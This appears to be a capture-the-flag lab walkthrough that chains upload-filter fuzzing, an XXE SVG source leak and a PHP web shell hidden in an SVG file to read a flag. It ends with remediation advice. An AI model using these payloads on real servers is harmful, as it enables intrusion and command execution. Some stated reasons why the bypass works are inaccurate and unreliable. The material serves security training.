🎯 Real-World Assessment: Complete attack chain combining multiple bypass techniques to achieve RCE
Objective: Exploit upload form to read the flag found at root directory "/"
Target: Contact form with image upload functionality that employs multiple security layers:
- Extension validation (blacklist + whitelist)
- Content-Type validation
- MIME-Type validation
- File size restrictions
1. Target Identification:
- Navigate to website root page
- Click on "Contact Us" section
- Identify image upload functionality
2. Upload Behavior Analysis:
- Images upload and display directly after clicking green icon
- No need to click "SUBMIT" button
- Files saved as base64 strings (upload directory hidden)
Upload Response Analysis:
✅ Image uploads work immediately
🔒 Upload directory path hidden (base64 encoding)
🎯 Direct file execution likely possible
1. Proxy Configuration:
- Start Burp Suite
- Set FoxyProxy to "BURP" profile
- Intercept upload request (Ctrl + I)
2. Extension Fuzzing Setup:
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="uploadFile"; filename="test§.jpg§"
Content-Type: image/jpeg
[file content]
----boundary--Testing Method:
- Clear default payload markers
- Add payload marker:
§.jpg§ - Uncheck "URL-encode these characters"
- Load PHP extensions wordlist
- Execute attack
Extensions Wordlist:
# Download PHP extensions list
wget https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-extensions.txtDiscovered Allowed Extensions:
✅ .pht - "Only images are allowed" (not "Extension not allowed")
✅ .phtm - "Only images are allowed"
✅ .phar - "Only images are allowed"
✅ .pgif - "Only images are allowed"
Analysis: These extensions bypass the blacklist but still trigger whitelist validation.
Payload Position:
Content-Type: §image/jpeg§Wordlist Preparation:
# Download content types list
wget https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/web-all-content-types.txt
# Filter for image types only
cat web-all-content-types.txt | grep 'image/' | xclip -se cAttack Results:
✅ image/jpg - Upload successful (190+ bytes response)
✅ image/jpeg - Upload successful
✅ image/png - Upload successful
✅ image/svg+xml - Upload successful ⭐ (Key finding!)
❌ Others - "Only images are allowed" (190 bytes)
Critical Discovery: image/svg+xml is allowed, enabling XXE attacks!
XXE File Creation:
cat << 'EOF' > shell.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
EOF1. Filename Bypass:
# Rename for frontend bypass
mv shell.svg shell.jpeg2. Burp Request Modification:
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
----boundary--Base64 Decoding:
echo 'PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7...' | base64 -dDecoded upload.php:
<?php
require_once('./common-functions.php');
// uploaded files directory
$target_dir = "./user_feedback_submissions/";
// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
}
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
echo "File too large";
die();
}
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
displayHTMLImage($target_file);
} else {
echo "File failed to upload";
}1. Upload Directory: ./user_feedback_submissions/
2. File Naming Pattern: date('ymd') . '_' . basename($_FILES["uploadFile"]["name"])
3. Validation Logic:
- Blacklist: Blocks
.ph(p|ps|tml)extensions - Whitelist: Requires
[a-z]{2,3}g$ending (explains why.pharworks!) - Content-Type: Must match
/image\/[a-z]{2,3}g/(explains whysvg+xmlworks!)
Shell Creation:
cat << 'EOF' > shell.phar.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>
EOFWhy This Works:
- ✅ Extension:
.svgsatisfies whitelist regex[a-z]{2,3}g$ - ✅ Content-Type:
image/svg+xmlmatches type validation - ✅ Execution:
.svgfiles processed as XML, PHP code executed - ✅ Bypass:
.pharin middle bypasses blacklist (doesn't end with prohibited extension)
1. Frontend Bypass:
mv shell.phar.svg shell.phar.jpeg2. Burp Request Modification:
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.phar.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>
----boundary--File Location Calculation:
# Current date in ymd format (e.g., 221130 for Nov 30, 2022)
YMD=$(date +%y%m%d)
echo "Shell location: /contact/user_feedback_submissions/${YMD}_shell.phar.svg"Test Command Execution:
# List root directory
curl "http://TARGET_IP:PORT/contact/user_feedback_submissions/221130_shell.phar.svg?cmd=ls+/"Expected Response:
[Base64 content from XXE]
bin
boot
dev
etc
flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
home
...
Final Command:
curl "http://TARGET_IP:PORT/contact/user_feedback_submissions/221130_shell.phar.svg?cmd=cat+/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt"Flag Format: HTB{...}
1. 🔍 Reconnaissance
- Identify upload functionality
- Analyze upload behavior and responses
2. 🎯 Extension Discovery
- Fuzz extensions with Burp Intruder
- Identify bypasses (
.phar,.pht, etc.)
3. 📋 Content-Type Analysis
- Fuzz Content-Type headers
- Discover allowed image types including
svg+xml
4. 📄 Source Code Disclosure
- Create XXE SVG payload
- Extract
upload.phpsource code - Analyze validation logic and file paths
5. 💣 Web Shell Deployment
- Craft combined XXE+PHP payload
- Bypass all validation layers
- Upload executable web shell
6. ⚡ Command Execution
- Calculate file location using date pattern
- Execute system commands via URL parameter
- Retrieve target flag file
1. Extension Filtering Bypass:
// Blacklist regex: /.+\.ph(p|ps|tml)/
// Bypassed by: shell.phar.svg (doesn't end with blocked extensions)
// Whitelist regex: /^.+\.[a-z]{2,3}g$/
// Satisfied by: .svg (3 chars ending in 'g')2. Content-Type Bypass:
// Type regex: /image\/[a-z]{2,3}g/
// Satisfied by: image/svg+xml (contains "svg" ending in 'g')3. File Execution Chain:
SVG uploaded → XML parser processes content → PHP code executed
1. Insufficient Extension Validation:
- Regex allows 3-character extensions ending in 'g'
- Enables
.svguploads which can contain executable code
2. Weak Content-Type Validation:
- Allows
image/svg+xmlwhich supports embedded scripts - SVG files processed as XML with PHP execution context
3. Direct File Access:
- Uploaded files accessible via direct URL
- No execution restrictions in upload directory
4. Predictable File Naming:
- Date-based prefixes are easily calculated
- File locations can be determined without disclosure
1. Strict Extension Whitelist:
// Only allow specific safe image extensions
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
$extension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
if (!in_array($extension, $allowedExtensions)) {
die("Extension not allowed");
}2. Enhanced Content Validation:
// Verify actual file content matches extension
$allowedTypes = [
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'gif' => ['image/gif']
];
$actualType = mime_content_type($tmpFile);
if (!in_array($actualType, $allowedTypes[$extension])) {
die("File content doesn't match extension");
}3. Execution Prevention:
# .htaccess in upload directory
<Files "*">
php_flag engine off
AddType text/plain .php .phtml .php3 .svg
RemoveHandler .php .phtml .php3 .php4 .php5 .svg
</Files>4. File Access Control:
// Serve files through controlled script instead of direct access
// Implement proper authorization and path validation- Content Sanitization - Strip metadata and reprocess images
- Isolated Processing - Process uploads in sandboxed environment
- Random File Names - Use UUIDs instead of predictable patterns
- WAF Protection - Deploy web application firewall rules
- Regular Updates - Keep all file processing libraries current
Technical Skills:
- 🔍 Reconnaissance - Upload functionality discovery
- 🎯 Fuzzing - Extension and Content-Type enumeration
- 🛡️ Bypass Techniques - Multi-layer validation circumvention
- 📄 XXE Exploitation - Source code disclosure via XML processing
- 💣 Web Shell Deployment - Combined payload crafting
- ⚡ Command Execution - System-level access achievement
Methodology Skills:
- Systematic Testing - Methodical validation layer analysis
- Chain Exploitation - Combining multiple vulnerabilities
- Pattern Recognition - Understanding validation logic flaws
- Tool Integration - Burp Suite automation and manual testing
- Defense-in-Depth Failure - Multiple weak controls don't equal strong security
- Regex Complexity Risk - Complex patterns often contain logical flaws
- File Type Confusion - SVG files blur line between data and executable content
- Information Disclosure Impact - Source code access enables targeted attacks
- Chained Vulnerabilities - Individual weak controls compound into critical risk
This Skills Assessment perfectly demonstrates how real-world file upload vulnerabilities require combining multiple techniques to achieve successful exploitation.